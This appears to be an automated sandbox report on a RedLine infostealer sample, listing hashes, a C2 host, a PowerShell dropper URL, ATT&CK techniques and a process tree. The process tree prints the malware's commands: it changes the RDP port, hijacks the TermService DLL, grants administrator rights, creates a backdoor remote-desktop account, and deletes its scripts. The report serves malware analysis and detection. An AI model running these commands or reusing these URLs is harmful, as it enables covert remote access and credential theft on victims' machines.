redline | 875f42b4ae4e80050231b14e50770f8e51a7b1f9887504ab6699860c9d37d09c

Analysis

max time kernel
111s
max time network
163s
platform
windows10_x64
resource
win10v20210410
submitted
07-06-2021 11:42

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General

Target

ustwo_20210607-133958.exe
Size

120KB
MD5

bc3443ee6ebeac5b40d789367a61cc36
SHA1

3aca0e6d34866853b9ed702d76e0222952451eb4
SHA256

875f42b4ae4e80050231b14e50770f8e51a7b1f9887504ab6699860c9d37d09c
SHA512

bb2450f210eb7ab34a51c91b28edbfb671570d47a9c8033fd74dc1437c2e99107e4052a8a6a911b6ccf5d29fa206bb173064a83ea47cddd83819079260430240

Score

10^/10

redline n6 discovery infostealer persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

redline

Botnet

lyanannaron.xyz:80

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

resource	yara_rule
behavioral2/memory/2324-124-0x0000000000417D76-mapping.dmp	family_redline
behavioral2/memory/2324-123-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 6 IoCs

flow	pid	Process
25	4056	powershell.exe
27	4056	powershell.exe
28	4056	powershell.exe
29	4056	powershell.exe
31	4056	powershell.exe
33	4056	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3260	filename.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001ab80-231.dat	upx
behavioral2/files/0x000600000001ab81-232.dat	upx

Deletes itself 1 IoCs

pid	Process
1728	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2980	Process not Found
2980	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ipinfo.io
21	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3992 set thread context of 2324	3992	ustwo_20210607-133958.exe	79

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA52D.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_qboewj5a.h2y.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_lztjzhpr.yka.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA50C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA51C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA52E.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA4EB.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3940	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	29	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2324	ustwo_20210607-133958.exe
2324	ustwo_20210607-133958.exe
1728	powershell.exe
1728	powershell.exe
1728	powershell.exe
4016	powershell.exe
4016	powershell.exe
4016	powershell.exe
2284	powershell.exe
2284	powershell.exe
2284	powershell.exe
2884	powershell.exe
2884	powershell.exe
2884	powershell.exe
1728	powershell.exe
1728	powershell.exe
1728	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3992	ustwo_20210607-133958.exe
Token: SeDebugPrivilege	2324	ustwo_20210607-133958.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeIncreaseQuotaPrivilege	4016	powershell.exe
Token: SeSecurityPrivilege	4016	powershell.exe
Token: SeTakeOwnershipPrivilege	4016	powershell.exe
Token: SeLoadDriverPrivilege	4016	powershell.exe
Token: SeSystemProfilePrivilege	4016	powershell.exe
Token: SeSystemtimePrivilege	4016	powershell.exe
Token: SeProfSingleProcessPrivilege	4016	powershell.exe
Token: SeIncBasePriorityPrivilege	4016	powershell.exe
Token: SeCreatePagefilePrivilege	4016	powershell.exe
Token: SeBackupPrivilege	4016	powershell.exe
Token: SeRestorePrivilege	4016	powershell.exe
Token: SeShutdownPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeSystemEnvironmentPrivilege	4016	powershell.exe
Token: SeRemoteShutdownPrivilege	4016	powershell.exe
Token: SeUndockPrivilege	4016	powershell.exe
Token: SeManageVolumePrivilege	4016	powershell.exe
Token: 33	4016	powershell.exe
Token: 34	4016	powershell.exe
Token: 35	4016	powershell.exe
Token: 36	4016	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeIncreaseQuotaPrivilege	2284	powershell.exe
Token: SeSecurityPrivilege	2284	powershell.exe
Token: SeTakeOwnershipPrivilege	2284	powershell.exe
Token: SeLoadDriverPrivilege	2284	powershell.exe
Token: SeSystemProfilePrivilege	2284	powershell.exe
Token: SeSystemtimePrivilege	2284	powershell.exe
Token: SeProfSingleProcessPrivilege	2284	powershell.exe
Token: SeIncBasePriorityPrivilege	2284	powershell.exe
Token: SeCreatePagefilePrivilege	2284	powershell.exe
Token: SeBackupPrivilege	2284	powershell.exe
Token: SeRestorePrivilege	2284	powershell.exe
Token: SeShutdownPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeSystemEnvironmentPrivilege	2284	powershell.exe
Token: SeRemoteShutdownPrivilege	2284	powershell.exe
Token: SeUndockPrivilege	2284	powershell.exe
Token: SeManageVolumePrivilege	2284	powershell.exe
Token: 33	2284	powershell.exe
Token: 34	2284	powershell.exe
Token: 35	2284	powershell.exe
Token: 36	2284	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeIncreaseQuotaPrivilege	2884	powershell.exe
Token: SeSecurityPrivilege	2884	powershell.exe
Token: SeTakeOwnershipPrivilege	2884	powershell.exe
Token: SeLoadDriverPrivilege	2884	powershell.exe
Token: SeSystemProfilePrivilege	2884	powershell.exe
Token: SeSystemtimePrivilege	2884	powershell.exe
Token: SeProfSingleProcessPrivilege	2884	powershell.exe
Token: SeIncBasePriorityPrivilege	2884	powershell.exe
Token: SeCreatePagefilePrivilege	2884	powershell.exe
Token: SeBackupPrivilege	2884	powershell.exe
Token: SeRestorePrivilege	2884	powershell.exe
Token: SeShutdownPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeSystemEnvironmentPrivilege	2884	powershell.exe
Token: SeRemoteShutdownPrivilege	2884	powershell.exe
Token: SeUndockPrivilege	2884	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 3992 wrote to memory of 2324	3992	ustwo_20210607-133958.exe	79
PID 2324 wrote to memory of 3260	2324	ustwo_20210607-133958.exe	80
PID 2324 wrote to memory of 3260	2324	ustwo_20210607-133958.exe	80
PID 3260 wrote to memory of 1728	3260	filename.exe	81
PID 3260 wrote to memory of 1728	3260	filename.exe	81
PID 1728 wrote to memory of 200	1728	powershell.exe	83
PID 1728 wrote to memory of 200	1728	powershell.exe	83
PID 200 wrote to memory of 3160	200	csc.exe	84
PID 200 wrote to memory of 3160	200	csc.exe	84
PID 1728 wrote to memory of 4016	1728	powershell.exe	85
PID 1728 wrote to memory of 4016	1728	powershell.exe	85
PID 1728 wrote to memory of 2284	1728	powershell.exe	88
PID 1728 wrote to memory of 2284	1728	powershell.exe	88
PID 1728 wrote to memory of 2884	1728	powershell.exe	90
PID 1728 wrote to memory of 2884	1728	powershell.exe	90
PID 1728 wrote to memory of 3888	1728	powershell.exe	92
PID 1728 wrote to memory of 3888	1728	powershell.exe	92
PID 1728 wrote to memory of 3940	1728	powershell.exe	93
PID 1728 wrote to memory of 3940	1728	powershell.exe	93
PID 1728 wrote to memory of 900	1728	powershell.exe	94
PID 1728 wrote to memory of 900	1728	powershell.exe	94
PID 1728 wrote to memory of 636	1728	powershell.exe	95
PID 1728 wrote to memory of 636	1728	powershell.exe	95
PID 636 wrote to memory of 2408	636	net.exe	96
PID 636 wrote to memory of 2408	636	net.exe	96
PID 1728 wrote to memory of 2296	1728	powershell.exe	97
PID 1728 wrote to memory of 2296	1728	powershell.exe	97
PID 2296 wrote to memory of 372	2296	cmd.exe	98
PID 2296 wrote to memory of 372	2296	cmd.exe	98
PID 372 wrote to memory of 3144	372	cmd.exe	99
PID 372 wrote to memory of 3144	372	cmd.exe	99
PID 3144 wrote to memory of 3392	3144	net.exe	100
PID 3144 wrote to memory of 3392	3144	net.exe	100
PID 1728 wrote to memory of 3332	1728	powershell.exe	101
PID 1728 wrote to memory of 3332	1728	powershell.exe	101
PID 3332 wrote to memory of 3984	3332	cmd.exe	102
PID 3332 wrote to memory of 3984	3332	cmd.exe	102
PID 3984 wrote to memory of 2328	3984	cmd.exe	103
PID 3984 wrote to memory of 2328	3984	cmd.exe	103
PID 2328 wrote to memory of 936	2328	net.exe	104
PID 2328 wrote to memory of 936	2328	net.exe	104
PID 684 wrote to memory of 2232	684	cmd.exe	108
PID 684 wrote to memory of 2232	684	cmd.exe	108
PID 2232 wrote to memory of 3052	2232	net.exe	109
PID 2232 wrote to memory of 3052	2232	net.exe	109
PID 2736 wrote to memory of 2784	2736	cmd.exe	112
PID 2736 wrote to memory of 2784	2736	cmd.exe	112
PID 2784 wrote to memory of 3680	2784	net.exe	113
PID 2784 wrote to memory of 3680	2784	net.exe	113
PID 2352 wrote to memory of 1972	2352	cmd.exe	116
PID 2352 wrote to memory of 1972	2352	cmd.exe	116
PID 1972 wrote to memory of 900	1972	net.exe	117
PID 1972 wrote to memory of 900	1972	net.exe	117
PID 1340 wrote to memory of 3184	1340	cmd.exe	120
PID 1340 wrote to memory of 3184	1340	cmd.exe	120
PID 3184 wrote to memory of 3144	3184	net.exe	121
PID 3184 wrote to memory of 3144	3184	net.exe	121

C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
"C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
  C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Users\Admin\AppData\Local\Temp\filename.exe
    "C:\Users\Admin\AppData\Local\Temp\filename.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      4⤵
      Deletes itself
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1728
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s4uxyrte\s4uxyrte.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:200
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6543.tmp" "c:\Users\Admin\AppData\Local\Temp\s4uxyrte\CSC940AA4FF2B0A4866A69C7916656BD38D.TMP"
        6⤵
        
        PID:3160
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2884
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        5⤵
        
        PID:3888
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        5⤵
        Modifies registry key
        
        PID:3940
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        5⤵
        
        PID:900
    - - C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:636
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        6⤵
        
        PID:2408
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2296
      - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:372
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3144
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        8⤵
        
        PID:3392
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3332
      - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3984
        
        C:\Windows\system32\net.exe
        
        net start TermService
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2328
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        8⤵
        
        PID:936
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        5⤵
        
        PID:3172
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        5⤵
        
        PID:496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:684
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3052

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc CMmJStNp /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc CMmJStNp /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc CMmJStNp /add
    3⤵
    PID:3680

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2352
